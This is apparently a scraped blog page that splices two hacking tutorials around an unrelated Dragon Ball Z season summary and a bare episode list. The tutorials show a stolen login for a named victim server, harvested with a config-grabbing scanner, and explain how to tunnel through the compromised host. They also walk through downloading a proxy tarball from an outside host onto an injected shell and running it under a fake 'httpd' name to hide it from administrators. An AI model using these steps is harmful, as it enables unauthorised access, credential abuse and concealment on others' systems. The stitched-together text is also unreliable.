Maybe it’s only answer many question about “how to tunneling using ssh when the ssh shell cannot started”. There will not any problem if ssh shell is activated, you can direct them to tunneling using this way.
In this case, you have IP target that support port 22. It’s mean you can using them to tunneling (of course you must know the user and password :D) even though ssh shell is cannot started.
You can scan the target using phpconfigspy to grab and get the login password.


Let’s we started the lesson.
I find the target and scan them, lucky for me because i got user and password.
alvoacusxxx.pt
[FTP] elaboran:sggvhbui7 Success
If you login to that target using the user password, you will be prompt like this
login as: elaboran
elaboran@alvoacusxxx.pt’s password:
Last login: Fri May 15 02:43:04 2009 from 41.233.169.205
Shell access is not enabled on your account!
If you need shell access please contact support.
Don’t worry, you can still using that target to tunneling. The way will be similar with ssh tunnel, you just adding some configuration on putty.
Look at left side putty on Category tab, breakdown all the menu and you will find SSH tab. Choose SSH and give checkbox on the right side “Don’t start a shell or command at all” and “Enable Compression”.
It’s finish, you can login using that user password. You need to know if the login is correct, there will no effect after you login on screen. Putty screen will stop under password, but tunneling is work now.

Goku is still missing in action after the destruction of the planet Namek, as the fourth season of Dragon Ball Z opens. With Goku unavailable, Gohan and the other Z-fighters must defeat Garlic Jr., who has reemerged from the Dead Zone with his accomplices, the Spice Boys. Gohan saves the Earth by ramping up his powers and destroying the planet Makyo, the source of Garlic’s strength. Before the dust can settle a new menace arrives: A largely robotic version of Frieza and his more powerful father, King Cold. These villains are easily dispatched by a new Super Saiyan: Trunks, the illegitimate son of Vegeta and Bulma. Trunks has come from the future to save Goku from what would have been a fatal heart virus. Goku must live to prevent the Artificial Humans created by Dr. Gero from ravaging the Earth. (Gero was one of the leaders of the Red Ribbon Army, which Goku destroyed in Dragon Ball.) But Trunks’ mission may have altered the future in ways he didn’t intend: Instead of two Androids, there are three, all programmed to kill Goku. The season ends on a cliffhanger, with the fate of the Z-Fighters–and the Earth–hanging in the balance. Trunks’ visit creates a number of paradoxes, including the problem of his existing as an adult and an infant in the same space-time. However, these questions are unlikely to trouble Dragon Ball fans, who will be too busy watching Vegeta training at 450 gravities, Gohan mastering his latent powers, Goku’s new combat move, and any number of battles, not to mention the comic relief of Krillin’s courtship of Maron and Master Roshi’s continued lechery.

Episode 103
Episode 104
Episode 105
Episode 106
Episode 107
Episode 108
Episode 109
Episode 110
Episode 111
Episode 112
Episode 113
Episode 114
Episode 115
Episode 116
Episode 117
Episode 118
Episode 119
Episode 120
Episode 121
Episode 122
Episode 123
Episode 124
Episode 125
Episode 126
Episode 127
Episode 128
Episode 129
Episode 130
Episode 131
Episode 132
Episode 133
Episode 134
Episode 135
Episode 136
Episode 137
Episode 138
Episode 139
Episode 140
Episode 141
Episode 142
Episode 143
Episode 144
Episode 145
Episode 146
Episode 147
Episode 148
Episode 149
Episode 150
Episode 151
Episode 152
Episode 153
Episode 154
Episode 155
Episode 156
Episode 157
Episode 158
Episode 159
Episode 160
Episode 161
Episode 162
Episode 163
Episode 164
Episode 165
Episode 166
Episode 167
Episode 168
Episode 169
Episode 170
Episode 171
Episode 172
Episode 173
Episode 174
Episode 175
Episode 176
Episode 177
Episode 178
Episode 179

You have ssh shell or target shell inject ? and you don’t know for what that shell ??
I will try to assist you how to make proxy using that ssh. First, get the source of proxy.tgz
If you using shell inject, you must find directory that have permission 777 (drwxrrwxrwx) with this command “find / - tipe d -perm 777″.
Look the step by step to build proxy bellow :

[root@vps ~]# wget http://geocities.com/databyroe/byroe/proxy.tgz
–01:30:35– http://geocities.com/databyroe/byroe/proxy.tgz
Resolving geocities.com… 98.137.46.72
Connecting to geocities.com|98.137.46.72|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 54004 (53K) [application/x-compressed]
Saving to: `proxy.tgz’

100%[=======================================>] 54,004 –.-K/s in 0.04s

01:30:35 (1.21 MB/s) - `proxy.tgz’ saved [54004/54004]

[root@vps ~]# tar -zxvf proxy.tgz
pro/
pro/xh
pro/prox

[root@vps ~]# cd pro
[root@vps pro]# ls -lrt
total 152
-rwxr–r– 1 33 33 21516 Jun 8 2006 xh
-rwxr-xr-x 1 33 33 124828 Jun 8 2006 prox
[root@vps pro]# ./xh -s ./httpd ./prox -a -d -p2020
==> Fakename: ./httpd PidNum: 20132

Proxy already done and ready to use. Use the IP of ssh shell and 2020 for port.
That proxy is running using fakename ./httpd to blind the real administrator.
If you want to kill that proxy you can kill by PidNum (20132) using this command “kill -9 20132″.